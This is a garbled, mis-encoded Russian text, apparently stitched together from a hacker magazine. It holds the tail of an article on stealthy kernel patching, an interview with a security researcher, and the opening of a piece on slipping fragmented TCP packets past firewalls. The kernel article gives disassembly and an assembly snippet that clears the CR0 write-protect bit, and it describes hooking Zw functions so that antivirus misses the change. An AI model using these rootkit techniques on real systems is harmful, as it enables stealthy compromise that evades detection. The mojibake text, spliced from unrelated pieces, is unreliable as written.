text:0042FC00
; sub_4B1D24+85vp ...

text:0042FC00
text:0042FC00 arg_0 = byte ptr 4
text:0042FC00
text:0042FC00 B8 20 00 00+ mov eax, 20h
text:0042FC05 8D 54 24 04 lea edx,
[esp+arg_0]
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STEALTH PATCHING ÑÂÎÈÌÈ ÐÓÊÀÌÈ54 ÊËÈÅÍÒ

Ñòðóêòóðà CONTEXT íå äîêóìåíòèðîâàíà â Platform SDK, íî îïèñàíà â WINNT.H

Ðåàëüíûé êîä ñîñðåäîòî÷åí â
NTOSKRNL.EXE - ïîäëèííîì ÿäðå

îïåðàöèîííîé ñèñòåìû.



text:0042FC09 CD 2E int
2Eh
text:0042FC0B C2 2C 00 retn
2Ch
text:0042FC0B ZwCreateFile endp
text:0042FBFE ; -------------------------------------
text:0042FBFE 8B FF mov
edi, edi

Ñòðóêòóðà àññåìáëåðíîãî êîäà âïîë-
íå òèïè÷íà äëÿ ôóíêöèé ñ ïðåôèêñîì
Zw. Ñíà÷àëà èäåò çàãðóçêà ðåãèñòðîâ,
çàòåì INT 2Eh, à çà íåé RETN XX. Àí-
òèâèðóñû îá ýòîì õîðîøî çíàþò, è ïî-
òîìó "òóïîå" âíåäðåíèå êîìàíäû JMP
íà_íàøå_òåëî ñðàçó æå âûçîâåò ïî-
äîçðåíèÿ (âïðî÷åì, ê AVP è Dr.WEB
ýòî íå îòíîñèòñÿ). À âîò ïîäìåíà êî-
ìàíäû RETN XX ãîðàçäî ìåíåå çàìåò-
íà. Ïðîáëåìà â òîì, ÷òî RETN XX çà-
íèìàåò òðè áàéòà, à JMP íà_íàøå_òå-
ëî - öåëûõ ïÿòü! Ê ñ÷àñòüþ, çà êîíöîì
Zw-ôóíêöèé ïðàêòè÷åñêè âñåãäà ïðè-
ñóòñòâóåò ïîñëåäîâàòåëüíîñòü 8B FF
(êîìàíäà MOV EDI, EDI, äâóõáàéòîâûé
àíàëîã NOP), îñòàâëåííàÿ äëÿ âûðàâ-
íèâàíèÿ. Âñå âìåñòå îíè è äàþò ïÿòü
áàéò. Õîðîøî! Ñîõðàíÿåì îðèãèíàëü-
íóþ êîìàíäó RETN XX â ñâîåì äðàé-
âåðå, äåëàåì JMP, ïåðåäàþùèé óï-
ðàâëåíèå õàêåðñêîìó îáðàáîò÷èêó,
òàêæå ðàñïîëîæåííîìó â äðàéâåðå.
Îò íåãî òðåáóåòñÿ âçâåñòè ðåãèñòðû
Drx è âîññòàíîâèòü êîìàíäó RETN XX,
òóò æå ïåðåäàâ íà íåå óïðàâëåíèå.
Äðóãèìè ñëîâàìè, âûêëþ÷èòü ñâåò è
çàìåñòè ñëåäû.

Àõ, äà! Íåïîñðåäñòâåííî ìîäèôèöè-
ðîâàòü ïàìÿòü ÿäðà íå ïîëó÷èòñÿ, òàê
êàê îíà çàùèùåíà îò èçìåíåíèé, íî

ýòó çàùèòó ëåãêî îòêëþ÷èòü. Ñïîñîá
ïåðâûé, ïðîñòîé, äîêóìåíòèðîâàííûé,
íî ñëèøêîì çàìåòíûé è âîîáùå íå-
êðàñèâûé: ëåçåì â ðååñòð, îòêðûâàåì
ðàçäåë HKLM\SYSTEM\

CurrentControlSet\
Control\SessionManager\
MemoryManagement è ñîçäàåì ïàðà-

ìåòð EnforceWriteProtection òèïà
REG_DWORD. Çàùèòà îò çàïèñè îòêëþ-
÷åíà! Íî è õàêåð îòêëþ÷åí, ïðè÷åì òÿ-
æåëûì óäàðîì ñàïîãà. Êòî óãîäíî ìî-
æåò çàïóñòèòü ðåäàêòîð ðååñòðà è ïîñ-
ìîòðåòü. Ïðàâäà, åñëè íà àòàêóåìîì
êîìïüþòåðå óñòàíîâëåí Soft-ice èëè
íåêîòîðûå ïàêåòíûå ôèëüòðû (ñíè-
ôåð èëè æå áðàíäìàóýð), òî ýòîò êëþ-
÷èê óæå ñòîèò è íèêàêèõ äîïîëíèòåëü-
íûõ óñèëèé îò íàñ íå ïîòðåáóåòñÿ. 

Âïðî÷åì, ïðè æåëàíèè ê ðååñòðó
ìîæíî äàæå íå îáðàùàòüñÿ. Çàùèòà
îòêëþ÷àåòñÿ íà ëåòó ñáðîñîì áèòà WP
â ðåãèñòðå CR0 (WP - Write Protection).
È òî÷íî òàê æå óñòàíàâëèâàåòñÿ
âíîâü, ñëîâíî íèêòî íè÷åãî è íå òðî-
ãàë :). Âåñü êîä óêëàäûâàåòñÿ â íåñ-
êîëüêî àññåìáëåðíûõ êîìàíä, ÷òî
íàìíîãî ýëåãàíòíåå òðóäíîïðîèçíîñè-
ìûõ êëþ÷åé ðååñòðà (íàâåðíîå, â
Microsoft ðàçðàáîò÷èêàì ïëàòÿò êàê
æóðíàëèñòàì - çà êàæäûé áàéò).

mov ebx, cr0 ; ïîëó÷àåì òåêóùåå çíà÷åíèå ðåãèñòðà CR0
push ebx ; êëàäåì åãî êîïèþ íà ñòåê
and ebx, ~0x10000   ; ñáðàñûâàåì WP áèò
mov cr0, ebx ; çàãîíÿåì îáíîâëåííîå çíà÷åíèå â CR0,
îòêëþ÷àÿ çàùèòó
�
�   ; ìîäèôèöèðóåì êîä ÿäðà
�

pop ebx; ; äîñòàåì ñîõðàíåííóþ êîïèþ CR0 èç ñòåêà
mov cr0, ebx ; çàãîíÿåì åå â ðåãèñòð CR0, âîçâðàùàÿ
çàùèòó â ïðåæíèé âèä

Êñòàòè, ìîäèôèêàöèÿ ÿäåðíûõ
ôóíêöèé ïðè ðàáîòå íà ìíîãîïðîöåñ-
ñîðíûõ ìàøèíàõ ýïèçîäè÷åñêè âãîíÿ-
åò ñèñòåìó â ñèíèé ýêðàí, ÷òî ñîçäàåò
îïðåäåëåííûå ïðîáëåìû. Áîëåå êîð-
ðåêòíûé (íî è áîëåå çàìåòíûé) ïóòü
ñâîäèòñÿ ê ïðàâêå òàáëèöû ýêñïîðòà è
àêòèâíîìó èñïîëüçîâàíèþ "ñåìàôî-
ðîâ". Ïàò÷ ÿäðà - ýòî íå øóòêà! Íåîá-
õîäèìî èìåòü îïûò ðàáîòû ñ ñèììåò-
ðè÷íûìè ìíîãîïðîöåññîðíûìè ñèñòå-
ìàìè (SMP - Symmetric Multi-
Processing) è çíàòü êó÷ó âåùåé èç ñà-
ìûõ ðàçíûõ ïðåäìåòíûõ îáëàñòåé. Íî
äîðîãó îñèëèò èäóùèé! Ïàäàåò òîò, êòî
áåæèò!

ÂÛÂÎÄ
Âñÿêóþ çàùèòó ìîæíî âçëîìàòü!

Ïðîâåðêà ñîáñòâåííîé öåëîñòè íå
ñïàñàåò. Êëèåíòñêîå ïðèëîæåíèå, ðà-
áîòàþùåå íà ïðèêëàäíîì óðîâíå, íå-
èçáåæíî îáðå÷åíî íà ïîðàæåíèå.
Âíåäðåíèå â ÿäðî îïåðàöèîííîé ñèñ-
òåìû - ýòî òåðìîÿäåðíîå îðóæèå, ñìå-
òàþùåå ëþáûå ïðåãðàäû íà ñâîåì ïó-
òè. ×åì àêòèâíåå ñîâåðøåíñòâóþòñÿ
çàùèòíûå ñèñòåìû, òåì àêòèâíåå èõ
íà÷èíàþò ëîìàòü. Âîççâàíèÿ ê çàêîíó
òîëüêî ïîäëèâàþò ìàñëà â îãîíü, ïî-
îùðÿÿ ïîèñêè ëåãàëüíûõ ïóòåé âçëî-
ìà, à çàêîíîäàòåëüñòâî î÷åíü èíåðò-
íî. Îäíàæäû ïðèíÿòûå çàêîíû
äåéñòâóþò äåñÿòèëåòèÿ, à äëÿ êîìïü-
þòåðíîé èíäóñòðèè ýòî öåëàÿ âå÷-
íîñòü. Êñòàòè î âå÷íîñòè. Íàäî áû ñî-
âåðøèòü âûëàçêó íà êóõíþ è ÷òî-íè-
áóäü çàõîìÿ÷èòü :). E
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Îòêëþ÷åíèå çàùèòû ÿäðà ÷åðåç ðååñòð ßäåðíîå îðóæèå, óíè÷òîæàþùåå çàùèòíûå ìåõàíèçìû

Âñÿêóþ çàùèòó ìîæíî âçëîìàòü! 



Àíäðåé Êàðîëèê (andrusha@real.xakep.ru)

Ì íîãèå, íàâåðíîå, çíàþò, êòî òàêîé ÇÀÐÀÇÀ. Ýòèì ïñåâäîíèìîì îí óæå ïîäïèñàë ìíîæåñòâî ïóáëèêàöèé â Ñåòè è
ðàçëè÷íûõ æóðíàëàõ, ïîñâÿùåííûõ êîìïüþòåðíîé áåçîïàñíîñòè, â òîì ÷èñëå â "Õàêåð" è "Õàêåð Ñïåö".

ÌÍÅÍÈÅ
ÏÐÎÔÅÑÑÈÎÍÀËÀ
ÈÍÒÅÐÂÜÞ Ñ ÇÀÐÀÇÀ

XXSS:: Êàê òåáÿ ïðåäñòà-
âèòü îáùåñòâåííîñòè? 

ÇÇÀÀÐÐÀÀÇÇÀÀ:: Ïðåäñòàâü
ìåíÿ â äîìàøíåì õàëà-

òå ñ ïóëåìåòîì. Óáîéíîå çðåëèùå :).

XXSS:: Äàâíî òû â êîìïüþòåðíîé áåçî-
ïàñíîñòè?

ÇÇÀÀÐÐÀÀÇÇÀÀ:: ß âîîáùå äî ñèõ ïîð íå ïî-
íèìàþ, êàê ÿ òóäà ïîïàë, êîãäà è çà-
÷åì. Äîëæíî áûòü, ëåò ïÿòü-øåñòü íà-
çàä è ñîâåðøåííî ñëó÷àéíî.

XXSS:: ×òî òåáÿ òàê ïðèâëåêàåò â
êîìïüþòåðíîé áåçîïàñíîñòè? Åñòü æå
ìíîãî äðóãèõ èíòåðåñíûõ ïðîôåññèé.
Ñòðîèòåëü, íàêîíåö :). Ïî÷åìó, êñòàòè,
ÇÀÐÀÇÀ?

ÇÇÀÀÐÐÀÀÇÇÀÀ:: Ñòðîèòåëåì íå õî÷ó: öåìåíò
â óøàõ çàñòðåâàåò... Äà è êîìïüþòåð-
íàÿ áåçîïàñíîñòü, ñòðîãî ãîâîðÿ, òîæå
íå ìîÿ ñïåöèàëüíîñòü. Ëþäè íðàâÿòñÿ
áîëüøå, ÷åì êîìïüþòåðû. Ïîýòîìó ÿ
ðóêîâîæó ïîääåðæêîé ïîëüçîâàòå-
ëåé. Ðàáîòà íåñêó÷íàÿ, î íåé ìíîãî
ãðóñòíûõ èñòîðèé ðàññêàçûâàþò. Ñ÷è-
òàåòñÿ, ÷òî ýòî àíåêäîòû. À 3APA3A
ïîòîìó, ÷òî çàðàçà. Ïàðó ðàç íàçâàëè,
ïðèâûê, ñòàë ïîäïèñûâàòüñÿ, ïðèæè-
ëîñü.

XXSS:: Òû áîëüøå ëîìàåøü èëè çàùè-
ùàåøü? ×òî èíòåðåñíåå?

ÇÇÀÀÐÐÀÀÇÇÀÀ:: ß èçó÷àþ àíîìàëèè. Êàê
íàõîæó êàêóþ-íèáóäü "ñòðàííîñòü",
òàê è ñìîòðþ íà íåå, ñìîòðþ... Ïîêà
÷òî-íèáóäü íå óâèæó. À ïîòîì ïûòà-
þñü ïîíÿòü, ÷òî ñ ýòîé ñòðàííîñòüþ
äåëàòü è äëÿ ÷åãî åå èñïîëüçîâàòü
ìîæíî, âåð÷ó åå âî âñå ñòîðîíû è
ïûòàþñü óçíàòü: òî ëè ýòî ÷òî-òî
ñëîìàëîñü, òî ëè çàùèòèëîñü, òî ëè
ýòî è íå ñòðàííîñòü âîâñå. Òàêîé ïà-
ðàíîèäàëüíî-øèçîèäíûé òâîð÷åñ-
êèé ïîäõîä. Ïðè÷åì ñòðàííîñòåé
âîêðóã òàê ìíîãî, ÷òî ñïåöèàëüíî èõ
èñêàòü íå ïðèõîäèòñÿ - îíè ñàìè òå-
áÿ íàõîäÿò. Íàäî òîëüêî ìàëåíüêèå
ñòðàííîñòè ðàçãëÿäåòü, à áîëüøèå
íå ïðîïóñòèòü.

XXSS:: Îñíîâíàÿ ðàáîòà êàê-òî ñâÿçàíà
ñ äåÿòåëüíîñòüþ ÇÀÐÀÇÛ èëè ýòî õîá-
áè ïðîñòî ñäåëàëî òåáÿ ïðîôè?

ÇÇÀÀÐÐÀÀÇÇÀÀ:: Êàê-òî âñå âçàèìîñâÿçàíî.
Êîíå÷íî, ïî ðàáîòå ïðèõîäèòñÿ ðå-
øàòü ëþáûå âîïðîñû îò êîíñóëüòà-
öèé ïî âîïðîñàì áåçîïàñíîé íàñòðîé-
êè ÷åãî-ëèáî, ïîèñêà ïðè÷èí ðàçëè÷-
íûõ îøèáîê è èõ óñòðàíåíèÿ è äî ðàç-
áîðà èíöèäåíòîâ, ïîèñêîâ âèíîâíîãî
èëè äàæå êîíòàêòîâ ñ ïðàâîîõðàíè-
òåëüíûìè îðãàíàìè èëè ïîäãîòîâêè
äîêóìåíòîâ äëÿ ñóäà. Ñëó÷àëîñü êàê
íàêàçûâàòü âèíîâàòîãî, òàê è îïðàâ-
äûâàòü íåâèíîâíîãî. Õîòÿ ÿ ñåáÿ íå
ñ÷èòàþ ïðîôè â âîïðîñàõ áåçîïàñ-
íîñòè: ýòî ïðîñòî îäíà èç ñôåð èíòå-
ðåñîâ, â êîòîðîé ÿ îðèåíòèðóþñü
âåñüìà âûáîðî÷íî è ïîâåðõíîñòíî.
Âîò ëó÷øå äàéòå íàì êëèåíòîâ � ìû èõ
ïîääåðæèì, îíè íàäåëàþò íåïðèÿò-
íîñòåé � ìû èõ çàñòðåëèì. Íå êëèåí-
òîâ, ðàçóìååòñÿ. Troubleshooting - ýòî
òî, ÷òî íàì õîðîøî óäàåòñÿ.

XXSS:: Ðàíüøå àòàêîâàëè ñåðâåðû, à
ñåé÷àñ àêöåíò ñìåñòèëñÿ íà êëè-
åíòîâ?

ÇÇÀÀÐÐÀÀÇÇÀÀ:: Àêöåíò ñìåñòèëñÿ íà êëèåí-
òîâ äîâîëüíî äàâíî. Îñíîâíûå ìåòî-
äû àòàêè íà êëèåíòîâ ïîÿâèëèñü áî-
ëåå ïÿòè ëåò íàçàä. À ïðèìåðíî ñ 2001
ãîäà ìíîãèå (ÿ, êîíå÷íî, Æîðà Ãóíè-
íñêèé, ïàðà êèòàéöåâ-ÿïîíöåâ è äðó-

ãèå àçèàòû) ñòàëè êðè÷àòü, ÷òî âåê
ñåðâåðíûõ àòàê ïðîøåë, ïîòîìó ÷òî
ýòî íàì ñëèøêîì ñëîæíî è íåïîíÿòíî.
À àòàêîâàòü êëèåíòîâ ëåãêî, ïðèÿòíî,
è ïîïàäàåøü ñðàçó êóäà íàäî � ê
ïîëüçîâàòåëüñêèì äàííûì. 

XXSS:: Â ÷åì ñïåöèôèêà âçëîìà êëèåí-
òñêèõ ïðèëîæåíèé?

ÇÇÀÀÐÐÀÀÇÇÀÀ:: Ñïåöèôèêà î÷åíü øèðîêàÿ.
Ñåðâåðíîå ïðèëîæåíèå, êàê ïðàâèëî,
ðàáîòàåò â äåìèëèòàðèçîâàííîé çîíå
è î÷åíü ÷àñòî áåç êàêèõ-ëèáî ïðèâè-
ëåãèé. Àòàêà íà ñåðâåðíîå ïðèëîæå-
íèå ðåäêî îòêðûâàåò äîñòóï âî âíóò-
ðåííþþ ñåòü. Êëèåíòñêîå æå ïðèëî-
æåíèå ñèäèò âî âíóòðåííåé ñåòè è
èìååò äîñòóï êî âñåì äàííûì, ê êîòî-
ðûì èìååò äîñòóï ïîëüçîâàòåëü. Ñåð-
âåð - ýòî ïî÷òè âñåãäà "ïðîèçâåäåíèå
èñêóññòâà", èìåþùåå â íåêîòîðîì
ñìûñëå óíèêàëüíóþ êîíôèãóðàöèþ.
Êîíôèãóðàöèÿ êëèåíòà ðåäêî îòëè÷à-
åòñÿ îò òèïîâîé. Êëèåíòîâ ãîðàçäî
áîëüøå. Âñå ýòî íàâîäèò íà ìûñëü:
àòàêó íà êëèåíòà ìîæíî ñäåëàòü ìàñ-
ñîâîé, ïîñòàâèòü íà êîíâåéåð. À çíà-
÷èò, ýòî óæå íå õàê. È àòàêóþò êëèåí-
òñêèå ïðèëîæåíèÿ î÷åíü ÷àñòî ñ ñîâ-
ñåì äðóãèìè öåëÿìè. Àòàêè íà êëèåí-
òñêîå ïðèëîæåíèå êàê "÷èñòîå èñêóñ-
ñòâî" îñòàëèñü ïîçàäè, ñåé÷àñ ýòî
ñïîñîá çàðàáàòûâàíèÿ äåíåã íà ñîç-
äàíèè áîòíåòîâ.

XXSS:: Ðàçðàáîò÷èêè ôàéðâîëîâ íå
ñêðûâàþò, ÷òî íå ìîãóò çàùèòèòü îò
àòàêè ãóðó, íî îáåùàþò îòðàçèòü 99%
ñòàíäàðòíûõ àòàê. Êàêîé òîãäà ñìûñë? 

ÇÇÀÀÐÐÀÀÇÇÀÀ:: À èìåííî òàêîé ñìûñë � îò-
ðàçèòü ìàññîâûå àòàêè, êîòîðûå ñîñ-
òàâëÿþò 99,999% âñåõ àòàê. Ïîëó÷à-
åòñÿ âåðîÿòíîñòü îòðàæåíèÿ àòàêè
98,999%, ÷òî âïîëíå ïðèåìëåìî. Îñî-
áåííî åñëè ýòîò ôàéðâîë ñòîèò íà òà-
êîì íè÷òîæíî ìàëîì ïðîöåíòå ìàøèí,
÷òî ïðåäïðèíèìàòü ìåðû äëÿ åãî îá-
õîäà àòàêóþùåìó íå èìååò ñìûñëà.
Äåëî â òîì, ÷òî çàùèùàòüñÿ, êîãäà
ñîáèðàþòñÿ ñëîìàòü èìåííî òåáÿ,
âñåãäà çíà÷èòåëüíî äîðîæå. Îäíèìè
ôàéðâîëàìè òóò íå îáîéòèñü.
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XXSS:: Ìîæåò, ñòîèò çàâåñòè äâà êîìïü-
þòåðà? Îäèí ñ âûõîäîì â èíòåðíåò, à
äðóãîé äëÿ õðàíåíèÿ öåííîé èíôîð-
ìàöèè? Ìîæåò, ê ýòîìó âñå è èäåò?

ÇÇÀÀÐÐÀÀÇÇÀÀ:: Ê ýòîìó äàâíî âñå ïðèøëî,
ïîõîæèå ðåøåíèÿ îáñóæäàþòñÿ â ñòà-
òåéêå "Áåçîïàñíîñòü êëèåíòñêîãî
ïðîãðàììíîãî îáåñïå÷åíèÿ"
(www.security.nnov.ru/articles/frontend). Ìîæåò, ñòîèò
çàâåñòè äâà êîìïüþòåðà, ìîæåò áûòü,
õîäèòü â èíòåðíåò èç âèðòóàëüíîé ìà-
øèíû. Ìîæåò, âûíåñòè òåðìèíàëüíûé
ñåðâåð â äåìèëèòàðèçîâàííóþ çîíó è
õîäèòü â èíòåðíåò îòòóäà. Ìîæåò áûòü,
çàïóñêàòü áðàóçåð èç-ïîä ãîñòåâîé çà-
ïèñè, ìîæåò áûòü, ïðàâèëüíî ñèñòåìó
íàñòðîèòü, ìîæåò áûòü, âîîáùå â èí-
òåðíåò íå õîäèòü :). Èëè ïåðåñòàâëÿòü
ñâîé BeOS êàæäîå óòðî. À ìîæåò, ïëþ-
íóòü - è ïóñêàé ëîìàþò ñêîëüêî âëå-
çåò, íå æàëêî. Íàäî ïðîñòî ïðîñ÷è-
òàòü, ÷òî äåøåâëå îáõîäèòñÿ.

XXSS:: À òû ñàì ïîäâåðãàëñÿ èçûñêàí-
íûì àòàêàì ñî ñòîðîíû êîëëåã? Êàêî-
âî áûòü âçëîìàííûì?

ÇÇÀÀÐÐÀÀÇÇÀÀ:: Ïîñòîÿííî... Òî â îòïóñê
ñâàëÿò, òî ðàáîòû ïîäñóíóò, òî êîíüÿê
âìåñòî êîêà-êîëû, òî ñòàêàí ñîïðóò.
Áûòü âçëîìàííûì � êîíå÷íî, ñëó÷à-
ëîñü. Êîãäà â çîíå òâîåé îòâåòñòâåí-
íîñòè èìåþòñÿ òûñÿ÷è êëèåíòîâ, â òîì
÷èñëå êîðïîðàòèâíûõ, ó êîòîðûõ ñóì-
ìàðíî äåñÿòêè, åñëè íå ñîòíè, òûñÿ÷
êîìïüþòåðîâ. È ó êàæäîãî ñâîé ïîä-
õîä ê áåçîïàñíîñòè - îò ïàðàíîèäàëü-
íîãî äî îòñóòñòâóþùåãî. Òû âçëîìàí

ïîñòîÿííî, ýòî íîðìàëüíàÿ ðàáî÷àÿ
ñèòóàöèÿ. Ñëó÷àëèñü è íåïðèÿòíûå
èíöèäåíòû íà ñîáñòâåííîì êîìïüþòå-
ðå. Íà íåì íåò êàêèõ-ëèáî êðèòè÷íûõ
äàííûõ, òðåáóþùèõ ïàðàíîèäàëüíîãî
óðîâíÿ áåçîïàñíîñòè, ñîîòâåòñòâåííî,
íåò è ïàðàíîèäàëüíîãî ïîäõîäà ê åãî
çàùèòå. Áîëüøå äóìàåøü îá óäîá-
ñòâå, ÷åì î áåçîïàñíîñòè. Ñëó÷àëîñü
äàæå ñâîèìè ðóêàìè çàïóñêàòü òðîÿí-
öà â ðåàëüíîé ìàøèíå âìåñòî âèðòó-
àëüíîé. Íó, íåïðèÿòíî, êîíå÷íî, ïðè-
õîäèòñÿ æäàòü ïîñëåäñòâèé, âñïîìè-
íàòü, ãäå êàêèå ïàðîëè è êàê èõ ìå-
íÿòü, êàêèå êðèòè÷íûå äàííûå ìîãëè
óòå÷ü è êóäà. À ãëàâíîå, âñåãäà åñòü
ïîäîçðåíèå, ÷òî òû ìîæåøü áûòü
âçëîìàí ïðÿìî ñåé÷àñ, íî åùå îá
ýòîì íå çíàåøü. Íèêîãäà íå áûâàåò
âîçìîæíîñòè ïîëíîñòüþ çàùèòèòüñÿ,
íå ñòîèò äàæå ïûòàòüñÿ. Íàäî, èñõîäÿ
èç èìåþùèõñÿ ðåñóðñîâ è òðåáóåìûõ
óñëîâèé ðàáîòû, ñîçäàòü îïòèìàëü-
íûé óðîâåíü çàùèòû è áûòü ìîðàëü-
íî ãîòîâûì ê ëþáûì ñèòóàöèÿì.

XXSS:: Âîçíèêàåò ñèòóàöèÿ, êîãäà ëîìà-
þò óæå íå ïðîãðàììû, à ïðîòîêîëû,
êîòîðûå îíè èñïîëüçóþò. Íî ýòî æå
óòîïèÿ?

ÇÇÀÀÐÐÀÀÇÇÀÀ:: Ïî÷åìó óòîïèÿ? Áåçîïàñ-
íîñòü � óòîïèÿ. À ïðîòîêîëû ñîçäà-
þòñÿ ëþäüìè, ïðè÷åì î÷åíü ÷àñòî
âîïðîñû áåçîïàñíîñòè íå òî ÷òî íå
ñòîÿò íà ïåðâîì ìåñòå, íî è âîîáùå
íå âîçíèêàþò. Îñîáåííî ýòî êàñàåò-
ñÿ ñòàðûõ ïðîòîêîëîâ. Ñëåäóåò
âñïîìíèòü, ÷òî èíòåðíåò (òî÷íåå,
ARPANet) ñîçäàâàëñÿ êàê çàêðûòàÿ
âîåííàÿ ñåòü. Íèêòî íå ìîã òîãäà è
ïîäóìàòü, ÷òî òóäà ïîïàäåò êòî-òî
ïîñòîðîííèé. Îòñþäà, íàïðèìåð, øè-
ðîêî îáñóæäàåìûå ñåé÷àñ óÿçâèìîñ-
òè ïðîòîêîëà TCP
(www.security.nnov.ru/news4689.html). À êàê çà ýòî
âðåìÿ âûðîñëà ïðîèçâîäèòåëüíîñòü
ñåòåé è âû÷èñëèòåëüíîé òåõíèêè?
Åñëè ðàíüøå çàäà÷à âçëîìà DES-
êëþ÷à èëè ïîäáîðà èäåíòèôèêàòîðà
DNS-çàïðîñà áûëà òðóäíîðåàëèçóå-
ìîé ââèäó íèçêèõ òàêòîâûõ ÷àñòîò
èëè ìàëîé ïðîïóñêíîé ñïîñîáíîñòè
ñåòè, òî ñåé÷àñ ïîäîáíîå ñòàëî
âïîëíå ðåàëüíûì. Êòî ìîã çíàòü, ÷òî
ýëåêòðîííàÿ ïî÷òà ïîëó÷èò òàêîå
ðàñïðîñòðàíåíèå, ÷òî ïî íåé ìîæíî
áóäåò ðàññûëàòü ðåêëàìó ïî ñîòíå
ìèëëèîíîâ àäðåñîâ? Ïðîòîêîëû óñ-
òàðåâàþò, íî ïåðåéòè íà íîâûå ïðî-
òîêîëû â Internet ïðàêòè÷åñêè íå-
âîçìîæíî, òàê êàê ñëèøêîì ìíîãîå
íà íèõ îïèðàåòñÿ. Ïîýòîìó ïåðåõîä
ñî âðåìåíåì íà Internet-ñåòü âòîðî-
ãî, òðåòüåãî, ÷åòâåðòîãî è ò.ä. ïîêî-

ëåíèÿ íåèçáåæåí. Õîòÿ îòäåëüíûå
óòîïè÷åñêè íàñòðîåííûå òîâàðèùè ñ
ïîñò-ÊÃÁ-ìûøëåíèåì ñ÷èòàþò, ÷òî
ïðîáëåìó ìîæíî óñòðàíèòü âåðíóâ-
øèñü ê ARPANet, â êîòîðóþ "ïîñòî-
ðîííèõ" íå áóäåò ïóñêàòü ãðàæäàíèí
ñ êèðïè÷íîé ìîðäîé, ïðîâåðÿþùèé
ó âñåõ íàëè÷èå ïàñïîðòà è Àíòèâè-
ðóñà Êàñïåðñêîãî.

XXSS:: Êàêèå òåíäåíöèè â ñôåðå áåçî-
ïàñíîñòè êëèåíòñêèõ ïðèëîæåíèé?
Åñòü ëè ñâåò â êîíöå òóííåëÿ?

ÇÇÀÀÐÐÀÀÇÇÀÀ:: Ñâåòà íåò, êëèåíòñêèå ïðè-
ëîæåíèÿ â áóäóùåì ñîõðàíÿòñÿ. Òåí-
äåíöèè åñòü. Ñäâèã â ãîëîâàõ ïîëü-
çîâàòåëåé è ðàçðàáîò÷èêîâ óæå ïî÷-
òè ïðîèçîøåë. Ê ñîæàëåíèþ, ìíîãèå
äî ñèõ ïîð óâåðåíû, ÷òî ïðîáëåìà
ðåøàåòñÿ àíòèâèðóñîì è ïåðñîíàëü-
íûì ôàéðâîëîì, èíòåãðèðîâàííûì â
ñèñòåìó. Ê ñ÷àñòüþ, â ýòîì óâåðåíû
íå âñå. Áåçîïàñíîñòü êëèåíòñêèõ ñèñ-
òåì óæå ñòàëà ñóùåñòâåííî ëó÷øå â
ñðàâíåíèè ñ òåì, ÷òî íàáëþäàëîñü
åùå ïàðó ëåò íàçàä. Îá ýòîì ñâèäå-
òåëüñòâóåò è "ñäâèã" àòàê â ñòîðîíó
ñîöèàëüíîé èíæåíåðèè. Îïûò ïîêà-
çûâàåò, ÷òî îäèí è òîò æå ïîëüçîâà-
òåëü ìîæåò çàïóñòèòü ÷åðâÿ, ïðè-
øåäøåãî ïî ýëåêòðîííîé ïî÷òå ñ
ðàçíûì òåêñòîì è ïî-ðàçíîìó óïàêî-
âàííîãî, íåîãðàíè÷åííîå êîëè÷åñòâî
ðàç. Â òî æå âðåìÿ æåðòâû ôèøèíãà
èëè "íèãåðèéñêèõ" ïèñåì, êàê ïðàâè-
ëî, íà÷èíàþò èõ îòëè÷àòü ïîñëå
òðåõ-÷åòûðåõ ïîïûòîê â çàâèñèìîñòè
îò ïîòåðÿííîé ñóììû. Ïåðñïåêòèâ-
íûå òåõíîëîãèè � ðàçãðàíè÷åíèå äîñ-
òóïà íà óðîâíå ïðèëîæåíèé (äîâå-
ðåííûå è íåäîâåðåííûå ïðèëîæå-
íèÿ, äîâåðåííûå è íåäîâåðåííûå èñ-
òî÷íèêè èíôîðìàöèè è ò.ä.), ðàçãðà-
íè÷åíèå óðîâíåé äîñòóïà ìåæäó ÷àñ-
òÿìè ïðèëîæåíèé (ñåïàðàöèÿ ïðèâè-
ëåãèé), ìàðêèðîâêà èíôîðìàöèè.

XXSS:: Êàê çàùèùàåøüñÿ ñàì? È îò êîãî?

ÇÇÀÀÐÐÀÀÇÇÀÀ:: Íå õàìëþ. Çàíèìàþñü ñïîð-
òîì. Äåëàþ çàðÿäêó. Õîæó ïåøêîì.
Íåïëîõî ñòðåëÿþ. À çàùèùàòü ñåáÿ �
êàêîé ñìûñë? Äåíåã çà ýòî âñå ðàâíî
íå ïëàòÿò... E
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Êðèñ Êàñïåðñêè àêà ìûùúõ

Ï îíàòûêàëè òóò áðàíäìàóýðîâ! Æèòüÿ îò íèõ íèêàêîãî. Äàæå â XP ïîÿâèëîñü êàêîå-òî ïîäîáèå, íî íèêàê íå
ðàáîòàþùåå :). Íàðîä òîëüêî è ñïîðèò, íàñêîëüêî ýòà øòóêà íóæíà è ìîæíî ëè åå îáîéòè. Ìîæíî!

ÏÎËÎÑÀ
ÏÐÅÏßÒÑÒÂÈÉ
ÏÐÅÎÄÎËÅÍÈÅ ÔÀÉÐÂÎËÎÂ ÑÍÀÐÓÆÈ È ÈÇÍÓÒÐÈ

ÈÇ ÑÂÎÁÎÄÛ Â
ÍÅÂÎËÞ

Ïàêåòíûå ôèëüòðû,
ðàáîòàþùèå íà óðîâíå
IP-ïðîòîêîëà èëè íèæå,

à òàêæå âñå àïïàðàòíûå áðàíäìàóýðû,
âñòðîåííûå â ìàòåðèíñêèå ïëàòû èëè
DSL-ìîäåìû, íå ìîãóò ñàìîñòîÿòåëüíî
îïðåäåëèòü ïîðò íàçíà÷åíèÿ, ïîñ-
êîëüêó â IP-ïðîòîêîëå íèêàêèõ ïîðòîâ
îòðîäÿñü íå áûëî è îíè ïðèñóòñòâóþò
òîëüêî â ïðîòîêîëàõ TCP è UDP. Íî
êàê-òî æå áðàíäìàóýðû ðàáîòàþò.
Êàê?! Àíàëèçèðóþò TCP-çàãîëîâêè.
Êàçàëîñü áû, âñå ïðîñòî. Íî ñëîæíîñ-
òè íà÷èíàþòñÿ òîãäà, êîãäà õàêåð ïî-
ñûëàåò ñèëüíî ôðàãìåíòèðîâàííûé
TCP-ïàêåò. Íàñòîëüêî ñèëüíî, ÷òî â
ïåðâîì IP-ïàêåòå óæå íå îêàçûâàåòñÿ
êîíöà TCP-çàãîëîâêà è ïîðò íàçíà÷å-
íèÿ ïåðåõîäèò â ñëåäóþùèé IP-ïàêåò.
×òî ìîæåò ñäåëàòü ñ òàêèì ïàêåòîì
áðàíäìàóýð? Îí íå â ñîñòîÿíèè ñîáè-
ðàòü TCP-ïàêåòû âðó÷íóþ, ïîñêîëüêó
ýòî âîîáùå-òî íå åãî çàäà÷à, à åñëè
îí âñå-òàêè ñîáåðåò, åìó ïðèäåòñÿ çà-
